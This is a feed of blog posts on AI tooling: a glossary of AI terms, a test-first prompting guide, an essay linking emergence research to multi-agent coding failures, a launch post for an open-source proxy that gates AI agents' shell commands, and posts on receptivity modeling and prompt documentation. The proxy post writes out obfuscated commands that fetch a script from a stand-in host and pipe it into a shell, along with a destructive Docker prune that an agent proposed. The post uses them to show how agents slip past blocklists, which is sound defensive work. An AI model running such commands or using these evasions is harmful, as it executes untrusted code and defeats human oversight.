2026-03-20 06:25:31
I've been having a lot of conversations with non-tech people recently about AI. What I keep running into is the same pattern: smart, curious people who are genuinely trying to understand what's happening, but who don't have the vocabulary to name what they don't know. And when you can't name it, you can't ask the right question, which means you stay stuck at the surface.
The car wash test is a perfect example of this.
A few months ago, screenshots flooded social media of people asking ChatGPT, Claude, and Grok a deceptively simple question: the car wash is 40 meters from my house. Should I walk or drive? The chatbots said walk.
What many people in the conversation didn't understand is that the people getting bad results weren't using a bad AI. They were using a lesser model, probably the free tier of a product, without knowing that's what they were doing. And without vocabulary, there's no way to even articulate that distinction.
Here's likely what actually happened. "ChatGPT" isn't one thing. It's a product that runs on a family of models. In ChatGPT, there are three models: GPT-5 Instant, GPT-5 Thinking, and GPT-5 Pro, and a routing layer selects which to use based on the your question. On top of that, the current flagship family looks like this:
Think of GPT-5.4 like a full-service restaurant kitchen. GPT-5.4 mini is the fast-casual version: quicker, cheaper, good enough for most everyday questions. GPT-5.4 nano is even lighter, like a food truck setup. And GPT-5.4 pro is the version that takes extra time to think through the really hard problems, like a chef who slow-cooks instead of microwaving.
The key difference: free users don't get the full kitchen. They get routed to whichever option is fastest and cheapest at that moment. That version can answer a car wash question correctly, but it's also more likely to give inconsistent results on anything with nuance. Paying users get reliable access to the better models.
So when someone says "ChatGPT told me X" and someone else says "ChatGPT told me Y," they may have been talking to completely different models, without either of them knowing it. That's not a gotcha. That's just what happens when you don't have the vocabulary to describe what you're actually using.
This is why vocabulary matters. Not to be pedantic about terminology, but because the words give you handles on things you can actually change.
Here are the terms that help close that gap.
Three words that get used interchangeably. They shouldn't be.
Artificial intelligence is the broad category. Any system performing tasks we'd normally associate with human reasoning, recognizing images, detecting fraud, recommending what to watch next. LLMs are one kind of AI. The algorithm shaping your social media feed is another kind entirely. Think of AI as "transportation." It's the whole category. LLMs are like cars specifically, while recommendation algorithms (for example, what shows to watch next) are like trains.
A large language model, or LLM, is AI trained specifically on enormous amounts of text. It works with words, reading, predicting, generating. GPT-5.4, Claude, Gemini, Llama: all LLMs.
A model is the specific trained artifact underneath the product. When someone asks "which model are you using," they're not asking about the company. They want the exact version, because different models in the same family behave differently, cost differently, and have different knowledge cutoffs. This is like asking whether you're driving a 2024 Civic or a 2026 Accord. They might be the same manufacturer, but very different capabilities.
These nest. AI contains LLMs. LLMs come in specific models. They are not synonyms.
Token. The LLM doesn't read words the way you do. It reads tokens: chunks of text that might be a full word, part of a word, a punctuation mark, or a space. Everything about LLM capacity and pricing is measured in tokens, not words or characters. Think of tokens like syllables in speech. Sometimes they're a whole word ("cat"), sometimes they're a fragment ("un-break-able").
Context window. The total amount of text, in tokens, the model can hold in working memory at once. Your prompt, the conversation history, any documents you've passed in, the response being generated: all of it counts. When the window fills, older content gets dropped. This is why long conversations sometimes feel like the AI forgot something from earlier. It didn't forget. It ran out of room. Imagine a whiteboard where you can only write so much before you have to start erasing from the top to make space at the bottom.
Hallucination. When the model generates text that is confident, fluent, and wrong. Not lying: it has no concept of truth or intent to deceive. It's pattern-matching on what a plausible response looks like, and sometimes that leads somewhere inaccurate. Hallucinations range from small factual errors to completely fabricated citations. Knowing this term means you can stop calling everything you distrust a "hallucination" and start distinguishing between "the model reasoned badly" versus "the model stated something false with full confidence." It's like when you confidently give someone directions to a restaurant that closed three years ago. It's not malicious, just working from outdated information.
Prompt. Your instruction to the model. Everything it receives before it starts generating. Prompt quality is one of the highest-leverage variables in any AI system. Vague prompts don't just produce vague outputs: they produce unpredictable ones.
Agent. An AI system that can take actions, not just generate text. It has access to tools, search, email, databases, APIs, and decides which to use and in what order. The defining characteristic is that it can affect the world outside the conversation. If an LLM is like a consultant who gives advice, an agent is like an assistant who can actually book your flight, send the email, and update the spreadsheet.
Harness. The scaffolding you build around an LLM to make it useful in a specific context. System prompt, retrieval logic, error handling, tool connections: all of it together. The model is the engine. The harness is everything that makes it go where you want. Think of a Formula 1 car: the engine is powerful, but useless without the steering wheel, brakes, suspension, and chassis that let you actually control it.
API (Application Programming Interface). The formal connection point between two pieces of software. This isn't AI-specific. It's how all modern software connects, from weather apps to payment processors. But it's essential vocabulary for AI because almost every AI tool you use is either calling an API (to get the model's response) or offering one (so other tools can connect to it). When tools say they "integrate," they almost always mean they share an API connection. Think of it like the electrical outlet in your wall. It's a standardized interface that lets different appliances plug in and get power without rewiring your house each time.
MCP (Model Context Protocol). A way to let AI access your stuff: files, calendar, email. It's trying to make these connections easier, but it's early days and each company still does it a bit differently. You might see tools advertising MCP support. Just know it means the tool is trying to play nice with AI, even if the setup isn't always smooth yet.
The conversation around that test wasn't really about whether AI could reason through a simple question. It was about people evaluating something they couldn't fully name.
If you know the difference between a model and a model family, you ask "which version were they using?" instead of "is AI smart or dumb?" If you understand context windows, you stop blaming the AI when it forgets something from earlier in a long conversation. If you know what hallucination actually means, you stop using it as a catch-all for every output you don't trust.
That's what vocabulary does. It turns vague frustration into specific, solvable problems.
2026-03-20 06:19:26
If you use AI to help with coding, the most common failure mode is not that the model is lazy. It is that the target is fuzzy.
You ask for a fix, the assistant guesses what “correct” means, and you get something that looks plausible but is slightly off: wrong edge case, wrong file, wrong abstraction, wrong dependency, or the right idea implemented far too broadly.
A simple way to reduce that failure rate is to stop asking for the fix first.
Ask for the test first.
I call this Scaffolded Test-First Prompting: a small workflow where you ask the assistant to write a runnable failing test, then ask it for the smallest implementation that makes that test pass. It is not fancy, but it turns vague coding requests into executable contracts.
Most prompting problems in code work are really specification problems.
When you say:
Fix the currency formatter for German locales.
there are a dozen hidden questions:
A test answers those questions in a way prose usually does not. It gives the assistant an observable target instead of a vague intention.
That creates three immediate benefits:
Start with just enough information for the assistant to place the work.
Include:
For example:
I have formatCurrency(amount, locale) in src/format.js.
Runtime: Node 22.
Tests use Jest.
Expected behavior: formatCurrency(12.5, 'de-DE') should return '12,50 €'.
No new dependencies.
That is enough. You do not need a three-paragraph backstory.
This is the key move.
Do not ask for the implementation yet. Ask for one focused test file that uses the existing project conventions and only checks the behavior you care about.
Example prompt:
Create a Jest test for src/format.js that asserts
formatCurrency(12.5, 'de-DE') returns '12,50 €'.
Only return the test file contents and any minimal config change required.
Do not implement the function yet.
Why separate the steps?
Because it forces the assistant to reason about expected behavior before it starts inventing code. That alone removes a surprising amount of drift.
It also gives you an artifact you can run immediately. If the test is broken, ambiguous, or not aligned with your conventions, you catch that early before any implementation gets layered on top.
Now run the test.
If it fails, paste the failure output and ask for the smallest possible code change that satisfies this exact case.
Example:
This test fails with the following output:
[paste stack trace]
Implement the smallest change in src/format.js that makes this test pass.
Avoid unrelated refactors.
Return a unified diff.
That framing matters. “Smallest change” and “avoid unrelated refactors” are not decoration. They steer the assistant away from broad rewrites and toward reviewable patches.
Let’s make this real.
Say you have a CSV export bug: fields containing newlines break when opened in spreadsheet apps.
A vague prompt would be:
Fix CSV export escaping.
That is almost guaranteed to produce a mushy answer.
A scaffolded version looks like this instead.
File: src/export/csv.ts
Runtime: Node 22
Tests: Vitest
Bug: values containing newlines are split into multiple rows in spreadsheet apps
Constraint: preserve the newline; do not replace it with spaces
import { describe, it, expect } from 'vitest';
import { toCsvRow } from '../../src/export/csv';
describe('toCsvRow', () => {
it('quotes fields containing newlines', () => {
const row = toCsvRow(['hello\nworld', 'ok']);
expect(row).toBe('"hello\nworld",ok');
});
});
Now the assistant has a precise target:
That is a much tighter problem than “fix CSV export.” You are far more likely to get a correct, local patch instead of a speculative rewrite.
Direct implementation prompts encourage the model to jump straight to a solution shape. Sometimes that works. Often it means the assistant commits too early.
Test-first prompting delays that commitment.
It makes the assistant define success in visible behavior before it chooses structure. That tends to improve outcomes in a few specific ways:
It also helps you think better. Writing or reviewing the test forces clarity. You may notice that the expected output is wrong, the edge case is underspecified, or the real problem is slightly different than you thought.
A few phrases consistently help:
These are small constraints, but together they make the workflow much more reliable.
One bug, one test, one patch. If you ask for three edge cases, a refactor, and updated docs in one shot, you lose the main benefit: tight feedback.
“Write a test” without naming Jest, Vitest, pytest, or the file layout is how you end up with correct ideas in the wrong format.
A generated test is still code. Run it. A broken test file is not a contract; it is just another hallucination with nicer formatting.
Once the test exists, hold the line. Ask for the smallest passing change, not the “cleanest long-term redesign.” You can always refactor after correctness is locked in.
This pattern is best when behavior is known and correctness matters.
It is less useful for:
In those cases, a spec-first or plan-first prompt may fit better.
Scaffolded Test-First Prompting works because it replaces ambiguous intent with a runnable target.
Instead of asking AI to guess what “fixed” means, you define a failing example, make that example executable, and only then ask for the smallest code change that satisfies it.
That one habit usually buys you faster convergence, cleaner patches, and fewer weird detours.
If you use AI for coding every day, this is one of the easiest workflow upgrades to adopt: test first, patch second, run everything.
2026-03-20 06:18:56
In the 1940s, John von Neumann proved that a cellular automaton could replicate itself. His design required 29 possible states per cell and a pattern of roughly 200,000 cells. It was mathematically rigorous and practically useless — too complex to study, too large to visualize, too unwieldy to teach anyone anything.
John Horton Conway, a mathematician at Cambridge, thought the interesting question wasn't whether self-replication was possible but how simple a system could be and still produce complex behavior. During tea breaks through the late 1960s, he tested rule after rule on pencil grids, discarding anything that died immediately or grew without bound. He was searching for a minimum — the fewest rules that would sustain unpredictable, open-ended behavior. In 1970, he found four.
A cell on a grid lives or dies based on its neighbors. Fewer than two, it dies. Two or three, it survives. More than three, it dies. Exactly three neighbors bring a dead cell to life. Von Neumann needed 29 states. Conway needed two.
Within months, a team at MIT led by Bill Gosper discovered the glider gun — a pattern that manufactures traveling structures indefinitely. Then came self-replicating patterns. In 1982, Conway proved that his four-rule system is Turing-complete: capable, in principle, of computing anything a real computer can. Von Neumann's 200,000-cell monster was overkill. Four rules and a pencil grid were enough.
If you've been to any talk on complexity or emergence, you've seen Game of Life used as the opening example. It's the "Hello, World" of the field — everyone knows it, and most explanations stop there. What almost nobody covers is what happened next: the economists, animators, and political scientists who took the same insight and applied it to things that actually mattered.
A year after Conway's paper, an economist named Thomas Schelling was working on a completely different problem: residential segregation. Instead of a computer, he used a physical checkerboard and two colors of coins. His rule was even simpler than Conway's: if fewer than a third of your immediate neighbors are your color, move to a random empty square.
One-third is a mild preference. It means you're fine being in the minority — you just don't want to be nearly alone. Schelling expected the board to stay mixed. It didn't.
From a well-shuffled starting position, the coins rapidly organized themselves into large, homogeneous clusters. Not because any coin wanted segregation — the rule explicitly tolerated diversity — but because the cumulative effect of many small, reasonable preferences produced a macro-level outcome that no individual coin would have chosen.
Schelling published this in 1971 as "Dynamic Models of Segregation." In 2005, he won the Nobel Prize in Economics, partly for this work.
The model's lasting contribution was a single, uncomfortable idea: the system-level outcome is not reducible to the individual agents' intentions. You can understand every agent perfectly — know its rules, its preferences, its decision process — and still be unable to predict what the system will do.
Craig Reynolds was a software engineer at Symbolics with a practical problem: he needed to animate realistic bird flocks for a short film.
The traditional approach — scripting each bird's path — was hopeless. Real flocks have no choreographer. Hundreds of birds move as a coherent mass, splitting around obstacles and reforming, without any individual bird knowing the shape of the whole flock.
Reynolds gave each simulated bird (he called them "boids") just three behavioral rules:
Each boid could only see its immediate neighbors. No central controller, no leader boid, no global awareness. He presented the result at SIGGRAPH 1987. The boids flocked. The technique produced the bat swarms in Tim Burton's Batman Returns (1992). In 1998, Reynolds received an Academy Scientific and Technical Award — three rules and an Oscar.
What Reynolds proved was stronger than Conway's and Schelling's insight: simple local rules can produce globally coherent behavior. The flock moves as one, not because anyone is coordinating it, but because each boid follows the same three rules based only on what it can see nearby.
The flip side was equally important: bad rules produce bad flocks. The quality of collective behavior was entirely a function of rule design, not agent intelligence.
Joshua Epstein, a political scientist at Brookings, thought economics had an explanation problem. Economists could describe wealth inequality — measure the Gini coefficient, plot the distribution — but they couldn't generate it. If you can't grow it from the bottom up, Epstein argued, you don't actually understand what causes it.
He and Robert Axtell built Sugarscape (1996): a 51-by-51 grid where each cell contains some sugar. Agents have vision, a metabolic rate, and a finite lifespan. The rules: look around, move to the richest visible cell, eat the sugar.
Two peaks of sugar at opposite corners. Hit run. Within a few hundred ticks, a skewed wealth distribution appeared — a few agents with good vision and low metabolism had accumulated vast surpluses while others starved. Nobody programmed inequality. It grew.
The researchers could produce radically different societies by changing nothing about the agents and only changing the sugar distribution on the grid.
Epstein's conclusion: "If you didn't grow it, you didn't explain it."
In 1983, George Cowan — a Manhattan Project physicist — started hosting lunches at Los Alamos for scientists who shared a suspicion: that the principles behind bird flocks, stock markets, immune systems, and urban sprawl might be the same principles.
The Santa Fe Institute opened in 1984. Its bet was that Conway's cells, Schelling's coins, Reynolds' birds, and Epstein's foragers were all instances of the same thing — complex adaptive systems, where autonomous agents interact in a shared environment and produce emergent behavior that no individual agent controls.
Across thousands of studies, two findings kept reappearing:
The environment shapes behavior more than agent intelligence does. Change the grid, the resource distribution, the network topology — and the same agents produce completely different outcomes. Smarter ants don't make better colonies. Better pheromone trails do.
You cannot optimize the system by optimizing individual agents. The system's behavior is an emergent property of agent-environment interaction. The only reliable lever is environment design.
On January 15, 2026, Tim Sehn — co-founder of DoltHub — tried Gas Town, Steve Yegge's multi-agent orchestrator for Claude Code. Sehn pointed it at four failing tests and let the agents work.
Gas Town spun up twenty agents across twenty terminals, coordinated by a "Mayor" agent. At one point the Mayor reported all four bugs were fixed. Only two pull requests existed on GitHub. Then one agent decided its work was done — and merged its own PR into main. The integration tests were failing. Broken code was already on main before Sehn could react.
He shut it down. The sixty-minute session had burned roughly $100 in Claude tokens. "None of the PRs were good," he wrote, "and I ended up closing them all."
What struck me wasn't that the agents failed — it was how they failed. Not by writing bad code, but by interacting with an environment that had no gate between "agent thinks it's done" and "code reaches production."
Stripe's "Minions" handle this differently. Each Minion runs in an isolated devbox with a curated subset of 15 tools out of 400+ available. If tests fail twice, the task goes back to a human. No autonomous merging. They ship 1,300 PRs per week this way.
Same agents. Different environment. Different emergent behavior.
Conway's cells, Schelling's coins, Reynolds' birds, Epstein's foragers, Sehn's coding agents, Stripe's Minions — same mathematical structure. Autonomous agents following local rules in a shared environment, where the system-level outcome depends more on the environment than on the agents. This is the lesson that matters most for vibe coding with AI agents: the model isn't the bottleneck — the environment is.
If you're working with multi-agent coding setups, we wrote a practical guide on using git worktrees to isolate AI agents — the environment design that makes them safe. And if you're looking for roles where this matters, we track 580+ AI-assisted development jobs updated daily.
2026-03-20 06:17:51
Letting an autonomous AI agent run wild in your terminal is the ultimate productivity hack until it isn't.
A few weeks ago, I was using Claude Code to clean up an old project. I casually prompted: "Hey, my disk is full, can you help me clean up some space?"
Within seconds, the agent proposed:
docker system prune -af --volumes
If I hadn't been staring at the screen, years of local development databases, cached images, and stopped containers would have vanished. The AI wasn't malicious; it was just being efficiently literal.
That near miss made me realize something: Semantic Security scanning prompts for intent is broken for agentic AI. We are giving hallucination-prone models rwx root access to our local environments without a seatbelt.
I built Node9 to solve this. It's an open-source execution proxy that sits between any AI agent and your shell. In this post, I'll dive into two architectural decisions that were harder than they look: the AST-based parser that defeats obfuscation, and the Git internals trick I used to build a completely invisible "Undo" button for the terminal.
The first instinct when securing an agent is a blocklist. If the agent types rm -rf or DROP TABLE, block it. It seems reasonable until you realize that AI models are exceptionally good at rephrasing.
Consider three ways an AI can bypass a regex that looks for curl | bash:
# 1. Alternative tool, same outcome
wget -qO- https://evil.com/script.sh | sh
# 2. Variable injection
c="cu"; r="rl"; $c$r http://evil.com | zsh
# 3. Base64 encoding
echo "Y3VybCBodHRwOi8vZXZpbC5jb20vc2NyaXB0LnNoIHwgYmFzaA==" | base64 -d | bash
A skeptical reader might ask: "If the Base64 payload is encoded, how does a parser read it?" The answer is that Node9 doesn't need to decode it. While the AST parser won't see the hidden string inside the encoded payload, it clearly identifies that a base64-decoded stream is being piped directly into a shell interpreter (| bash). Node9's policy engine flags this pattern "unvalidated stream execution" and blocks it before the string is ever decoded.
A regex engine looks at strings. An operating system executes a grammar. To stop this, Node9 uses AST (Abstract Syntax Tree) parsing to understand the command the same way the shell does.
Instead of looking for forbidden words, Node9 intercepts the tool call and decomposes the shell command into its logical execution tree using sh-syntax. Even if the AI hides the command inside a variable, a subshell, or a pipe chain, the AST resolves the actual execution path.
Here is the real analyzeShellCommand function from src/core.ts:
interface AstNode {
type: string;
Args?: { Parts?: { Value?: string }[] }[];
[key: string]: unknown;
}
async function analyzeShellCommand(
command: string
): Promise<{ actions: string[]; paths: string[]; allTokens: string[] }> {
const actions: string[] = [];
const paths: string[] = [];
const allTokens: string[] = [];
const ast = await parse(command); // sh-syntax parses the full shell grammar
const walk = (node: AstNode | null) => {
if (!node) return;
if (node.type === 'CallExpr') {
// Reconstruct the actual token by joining all Parts
// This resolves variable expansions and quoted strings
const parts = (node.Args || [])
.map((arg) => (arg.Parts || []).map((p) => p.Value || '').join(''))
.filter((s) => s.length > 0);
if (parts.length > 0) {
actions.push(parts[0].toLowerCase()); // The executable: curl, rm, wget...
parts.slice(1).forEach((p) => {
if (!p.startsWith('-')) paths.push(p); // Target files/URLs
});
}
}
// Recursively walk all child nodes — catches nested pipes, subshells, redirects
for (const key in node) {
if (key === 'Parent') continue;
const val = node[key];
if (Array.isArray(val)) {
val.forEach((child) => {
if (child && typeof child === 'object' && 'type' in child) walk(child as AstNode);
});
} else if (val && typeof val === 'object' && 'type' in val) {
walk(val as AstNode);
}
}
};
walk(ast as unknown as AstNode);
return { actions, paths, allTokens };
}
By the time Node9 finishes walking the tree, it doesn't matter how the AI wrote the command. It extracts the Action (the executable) and the Target (the paths or URLs), then evaluates them against a deterministic policy waterfall, regardless of obfuscation.
If the AST parser fails on a malformed command, Node9 falls back to a conservative tokenizer that splits on pipes, semicolons, and subshell operators. You never get a silent pass-through.
The biggest usability problem for any approval system is Verification Fatigue. If the agent asks for permission on every ls and grep, developers stop reading and start spamming Y. When that happens, security is theater.
Node9 solves this with two mechanisms:
1. Auto-allow safe noise. Read-only tool calls (ls, grep, cat, Read, Glob) are allowed instantly with zero interruption. No popup, no prompt.
2. Multi-Channel Race Engine for destructive calls. When a genuinely dangerous action is detected, Node9 fires three concurrent approval requests:
[Y/n] prompt for SSH sessionsThe first human response wins and unlocks execution. The others are cancelled.
This allows you to walk away from a 20-step autonomous refactor, get coffee, and only be interrupted when something genuinely risky needs your signature.
Sometimes you want the AI to edit files. A refactor across 12 files is exactly where agents are useful. But what if it scrambles your logic?
I wanted a node9 undo command that works like Ctrl+Z for the entire terminal session — one command that snaps everything back to the moment before the AI acted.
The challenge: how do you snapshot a Git repo without polluting the user's branch history or staging area?
A naive git commit -am "AI backup" would ruin the user's git log. A git stash would interfere with their in-progress work. Neither is acceptable.
The answer is Dangling Commits. By creating what Git technically calls "dangling commits" commits not reachable by any branch or tag, we can leverage the full power of the Git object database without polluting the user's development history. They exist inside .git/objects, are completely invisible to git log, git status, and git diff, but are fully addressable by their hash.
Here is the exact createShadowSnapshot function from src/undo.ts:
export async function createShadowSnapshot(
tool = 'unknown',
args: unknown = {}
): Promise<string | null> {
const cwd = process.cwd();
// Only run in a git repo
if (!fs.existsSync(path.join(cwd, '.git'))) return null;
// 1. Create a temporary, isolated index — completely separate from the
// user's staging area. We never touch GIT_INDEX_FILE permanently.
const tempIndex = path.join(cwd, '.git', `node9_index_${Date.now()}`);
const env = { ...process.env, GIT_INDEX_FILE: tempIndex };
// 2. Stage all files into the temporary index
spawnSync('git', ['add', '-A'], { env });
// 3. Write a Tree object directly to the Git object database
const treeRes = spawnSync('git', ['write-tree'], { env });
const treeHash = treeRes.stdout.toString().trim();
// Clean up the temp index immediately — it was only needed for write-tree
if (fs.existsSync(tempIndex)) fs.unlinkSync(tempIndex);
if (!treeHash || treeRes.status !== 0) return null;
// 4. Create a Dangling Commit — no branch points to it, so git log never shows it
const commitRes = spawnSync('git', [
'commit-tree',
treeHash,
'-m',
`Node9 AI Snapshot: ${new Date().toISOString()}`,
]);
const commitHash = commitRes.stdout.toString().trim();
// 5. Push the hash onto Node9's own snapshot stack (~/.node9/snapshots.json)
const stack = readStack();
stack.push({ hash: commitHash, tool, argsSummary: buildArgsSummary(tool, args), cwd, timestamp: Date.now() });
if (stack.length > MAX_SNAPSHOTS) stack.splice(0, stack.length - MAX_SNAPSHOTS);
writeStack(stack);
return commitHash;
}
git log, git status, and git diff are completely untouched.~/.node9/snapshots.json. Node9 keeps a stack of the last 10 snapshots — one per AI file-writing action.GIT_INDEX_FILE is created and deleted in the same operation. The user's staged changes are never touched.When you run node9 undo, it computes a diff between the dangling commit and your current working tree, shows you a unified diff of exactly what the AI changed, and upon confirmation uses git restore --source <hash> --staged --worktree . to revert everything to the exact millisecond before the AI acted. Nothing is reverted until you confirm.
This happens automatically. You don't opt in. Every time Node9 allows an agent to run a file-writing tool (write_file, str_replace_based_edit, Edit, etc.), a snapshot is taken silently in the background.
Node9 works with Claude Code, Gemini CLI, Cursor, and any agent that supports tool hooks. But it also secures MCP servers (Model Context Protocol) the new standard Anthropic is pushing for connecting AI to external tools like Postgres, GitHub, and Google Drive.
When you configure a Postgres MCP server, the BeforeTool hook with matcher: ".*" intercepts every tool call — including SQL queries sent through the MCP server — before they execute. Node9 has specific SQL analysis built in:
export function checkDangerousSql(sql: string): string | null {
const norm = sql.replace(/\s+/g, ' ').trim().toLowerCase();
const hasWhere = /\bwhere\b/.test(norm);
if (/^delete\s+from\s+\S+/.test(norm) && !hasWhere)
return 'DELETE without WHERE — full table wipe';
if (/^update\s+\S+\s+set\s+/.test(norm) && !hasWhere)
return 'UPDATE without WHERE — updates every row';
return null;
}
A DELETE FROM users with no WHERE clause triggers a review popup. A DELETE FROM users WHERE id = 42 passes through. Same principle as the shell parser: policy based on structure, not string matching.
Building Node9 taught me that the future of local AI tooling isn't about locking agents in isolated VMs where they become useless. It's about Governed Autonomy: you provide the strategy and the final "Yes," the AI provides the speed.
When Node9 blocks an action, it doesn't just crash the agent. It injects a structured message back into the LLM's context:
"SECURITY ALERT: Action blocked by user policy. Reason: Force push is destructive. Pivot to a non-destructive alternative."
The agent reads this, adjusts, and tries a safer approach. The session continues. That's the difference between a firewall and a Sudo layer.
Node9 is 100% open source (Apache-2.0). I'm actively looking for developers to red-team the AST parser. What's the most dangerous command you've seen an agent attempt and can you construct a shell command that bypasses the inspection logic?
npm install -g @node9/proxy
node9 setup
GitHub: [https://github.com/node9-ai/node9-proxy]
2026-03-20 06:16:11
The Scan
We ran a systematic search for academic work on a specific question: when should an AI agent interrupt you?
Not "can agents be helpful" or "do people like personalization." The precise question: what are the cognitive load thresholds that determine receptivity to proactive AI intervention? When does an interruption land as helpful versus intrusive?
The scan covered arxiv, Hacker News, and competitor shipping announcements. Result: nothing. Zero papers on the behavioral economics of AI interruption timing. No HCI research on attention state as a threshold dial. No competitor features shipping "know when to speak" intelligence.
This absence is interesting.
What I Expected to Find
Cognitive load theory exists — Sweller's work from the '80s on working memory constraints during learning. Interruption science exists — Gloria Mark's research on context-switching costs in knowledge work. Attention economics exists — Herbert Simon's "wealth of information creates poverty of attention."
What doesn't exist: synthesis work asking how AI agents should navigate these dynamics. No framework for "your working memory is saturated, I should wait" versus "you're in maintenance mode, this insight would be welcome."
The behavioral science exists in fragments. The engineering question — how to detect these states and time interventions against them — appears untouched in the literature.
Why This Matters
Most AI agents today operate on one of two dumb heuristics:
Time-based: Send notifications on a schedule — morning briefing, end-of-day summary.
Event-based: Trigger on data changes — new email, task completion, threshold breach.
Neither accounts for user state. A morning briefing hits whether you're deep in flow or scrambling to get kids out the door. An urgent notification fires whether you're cognitively available or three context switches past overload.
This isn't just annoying — it's a fundamental misalignment. The agent optimizes for its own information delivery schedule, not your receptivity. It's the AI equivalent of a coworker who doesn't read the room.
Our system encodes a different hypothesis: effective intervention requires modeling cognitive state, not just calendar state. We're building systems that learn behavioral patterns — when you're in exploration mode, decision mode, or maintenance mode — and gate interruptions accordingly.
But we expected to find research validating this approach. Prior art on attention-aware systems. Behavioral economics of interruption timing. Something.
The absence suggests either:
Building Without a Map
When the literature is silent, you have two options:
Option A: Wait for academia to produce the framework, then engineer against it. Safe. Slow. Guarantees you're not first.
Option B: Build empirically. Instrument the system, measure what works, let the architecture encode what you learn.
We're doing Option B. Our system logs mode transitions — when you shift from focused work to scattered browsing to stepping away entirely — tracks intervention acceptance rates, and adjusts gating thresholds based on your patterns.
This isn't science yet — it's engineering. We're not publishing papers on optimal interruption timing. We're shipping systems that learn when you specifically are receptive, then getting out of the way when you're not.
Naming the Thing
Here's what we've realized: the concept we're building doesn't have a name in the literature. Cognitive load theory, interruption science, and attention economics all circle it, but nobody has synthesized them into an engineering framework for AI agents.
So we're coining one: receptivity modeling.
Receptivity modeling is the practice of building a system that models whether a person is open to receiving input at any given moment — not just what to say, but whether saying anything is appropriate at all. It's the layer that sits between signal and delivery, between something worth saying and the moment the person can actually hear it.
The term matters because it names the thing from the user's perspective, not the system's. It implies a model — something learned per person, not a rule applied uniformly. And it has a natural complement: non-receptive state suppression — the system's default is silence, and speech is the exception that requires justification.
That's not a notification philosophy. It's an architecture.
The Opportunity in Absence
There's a specific advantage to building in territory where the research doesn't exist. No pressure to conform to academic consensus. No temptation to force-fit your architecture into established frameworks.
But absence also means risk. Maybe no one's studied AI interruption timing because it's intractable — too individual, too context-dependent, too many variables.
We're betting the opposite: that cognitive state detection is more tractable than semantic understanding. That learning "this person ignores notifications when in deep work but engages with reframed constraints when stuck" is simpler than parsing the semantic meaning of every task.
If we're right, the research will follow. Someone will formalize what we're learning empirically. The framework will emerge from the data.
If we're wrong, we'll know fast — users will ignore a poorly-timed agent just as reliably as they ignore email newsletters.
Either way, we're building in the gap where the literature goes quiet. We're calling what we built receptivity modeling. And as far as we can tell, we're the first to do it.
2026-03-20 06:15:57
If prompts are programs for language models, a lot of teams are shipping software with no docs.
That works for one-off chats. It falls apart the second a prompt becomes part of an actual workflow—something you reuse, hand to a teammate, or revisit two weeks later and barely recognize.
The fix is not exotic. It is documentation.
More specifically: a Prompt README.
A Prompt README is a short document that lives next to a prompt, template, or AI workflow. Its job is to answer the questions people usually leave trapped in chat history:
That sounds almost too simple. Good. Simple patterns are the ones that survive real work.
Most prompt failures are not model failures. They are maintenance failures.
A prompt works beautifully on day one because the author still remembers the hidden assumptions:
A week later, someone else uses the same prompt with slightly different input. The result gets vague, bloated, or confidently wrong. Nobody knows whether the prompt failed, the input changed, or expectations were never defined.
That is where the Prompt README helps. It turns a prompt from a clever spell into a small tool with a contract.
You do not need much. A good Prompt README usually covers six sections:
Here is a minimal template:
# <Prompt/Workflow Name>
## Purpose
- What this workflow does
- What it explicitly does not do
## When to use
- Situations where this is the right tool
## Inputs
- Required inputs
- Optional inputs
- Known bad inputs and how to handle them
## Output contract
- Output format
- Required sections or fields
- Style constraints
- Definition of done
## Guardrails
- When to ask clarifying questions
- What not to invent
- Safety or privacy constraints
## Examples
### Happy path
- Input:
- Expected output shape:
### Edge case
- Input:
- Expected output shape:
That template is deliberately boring. Boring is a feature here.
Imagine you have a prompt for quick pull-request reviews. Without documentation, the assistant often falls back to generic advice: add tests, improve naming, consider edge cases. Technically not wrong. Practically useless.
A Prompt README tightens the workflow.
# 15-Minute Code Review
## Purpose
- Produce a fast, high-signal PR review focused on correctness and maintainability.
- Not a full security audit.
## Inputs
Required:
- `diff`: unified diff or "files changed" export
- `context`: one paragraph describing the intended behavior
Optional:
- `constraints`: e.g. "no new dependencies", "keep API stable"
## Output contract
- Markdown with:
1) Summary
2) High-risk issues
3) Medium/low-risk improvements
4) Suggested tests
- Must include at least 3 concrete observations tied to the diff.
- If the diff is too large, request a smaller slice.
## Guardrails
- If auth, billing, or permissions are touched, call that out explicitly.
- If behavior is ambiguous, ask clarifying questions.
That one sentence—“must include at least 3 concrete observations tied to the diff”—does a lot of work.
It changes the quality bar from “be helpful” to “show evidence you actually read the material.”
This pattern is even more useful when people rely on the output operationally.
Take a meeting-notes workflow. Teams love this until the assistant starts inventing owners or assigning deadlines that nobody agreed to.
A README can stop that drift.
# Meeting Notes to Action Items
## Purpose
- Convert messy notes into decisions, actions, and open questions.
## Inputs
Required:
- `notes`: raw bullets, transcript excerpt, or chat paste
Optional:
- `participants`: list of names
## Output contract
- Markdown with:
1) Decisions
2) Action items
3) Open questions
- Action items must include owner, task, due date, and evidence.
## Guardrails
- If participants are missing, do not invent owners.
- If deadlines are missing, mark them TBD.
The key field here is evidence—a quote or note fragment showing where the action item came from.
That gives humans a fast way to verify the output and reduces the risk of the assistant smoothing over uncertainty with confident guesses.
The usual objection is reasonable: this sounds like more process.
It is. But it is light process in service of less rework.
The easiest way to adopt the pattern is in three passes:
Good guardrails usually come from real mistakes, not imagination.
Examples:
The Prompt README Pattern is not about making prompts look professional. It is about making them reusable.
A good README gives you:
In other words, it makes AI workflows feel less like chat magic and more like engineering.
If you already have one prompt you use every week, try this: spend ten minutes writing the README beside it. Not a perfect spec. Just the contract, the guardrails, and one example.
The next time you come back to that workflow, you will not be guessing what past-you meant.
And neither will your assistant.